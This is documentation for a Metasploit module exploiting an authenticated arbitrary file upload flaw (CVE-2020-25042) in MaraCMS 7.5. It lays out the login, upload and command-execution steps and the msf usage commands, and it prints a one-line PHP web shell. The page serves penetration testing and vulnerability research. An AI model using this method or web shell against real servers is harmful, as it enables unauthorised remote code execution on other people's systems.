List of CVEs: CVE-2020-25042
This module exploits an arbitrary file upload vulnerability
in MaraCMS 7.5 and prior in order to execute arbitrary
commands. The module first attempts to authenticate to
MaraCMS. It then tries to upload a malicious PHP file to the
web root via an HTTP POST request to codebase/handler.php.
If the php target is selected, the payload is embedded in
the uploaded file and the module attempts to execute the
payload via an HTTP GET request to this file. For the
linux and windows targets, the module uploads a simple
PHP web shell similar to <?php system($_GET["cmd"]); ?>.
Subsequently, it leverages the CmdStager mixin to deliver
the final payload via a series of HTTP GET requests to the
PHP web shell. Valid credentials for a MaraCMS admin or
manager account are required. This module has been
successfully tested against MaraCMS 7.5 running on Windows
Server 2012 (XAMPP server).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/http/maracms_upload_exec
msf exploit(maracms_upload_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits an arbitrary file upload vulnerability in MaraCMS 7.5 and prior in order to execute arbitrary commands.
The module first tries to obtain the MaraCMS version from /about.php (for MaraCMS 7.5, the version number mentioned is 7.2.)
The module then visits /?login to obtain the shash token, which is required for authentication. Next,
the module sends an HTTP POST request to codebase/handler.php in order to obtain the salt used by MaraCMS to create password hashes.
The module then uses the shash token and the salt to create the required authentication hashes,
and sends these via a second HTTP POST request to the handler.
If authentication is successful, the module tries to upload a malicious PHP file to the web root,
again via an HTTP POST request to codebase/handler.php.
If the php target is selected, the payload is embedded in the uploaded file
and the module attempts to execute the payload via an HTTP GET request to this file.
For the linux and windows targets, the module uploads a simple PHP web shell similar to <?php system($_GET["cmd"]); ?>.
Subsequently, it leverages the CmdStager mixin to deliver the final payload via a series of HTTP GET requests
in the form of /<php_web_shell>?<cmd>=<payload>.
Valid credentials for a MaraCMS admin or manager account are required.
This module has been successfully tested against MaraCMS 7.5 running on Windows Server 2012 (XAMPP server).
Vulnerable software for testing can be downloaded here. Installation is just a matter of unzipping the package to a php-capable webhost. The requirements specified on SourceForge are an Apache or equivalent webserver (LightTPD, Nginx, etc.) and a PHP version from 5.3 to 7.1.1. Both of these requirements can easily be fulfilled by downloading an older version of XAMPP server for Windows or Linux from here. MaraCMS does not require a database, nor an installation script.
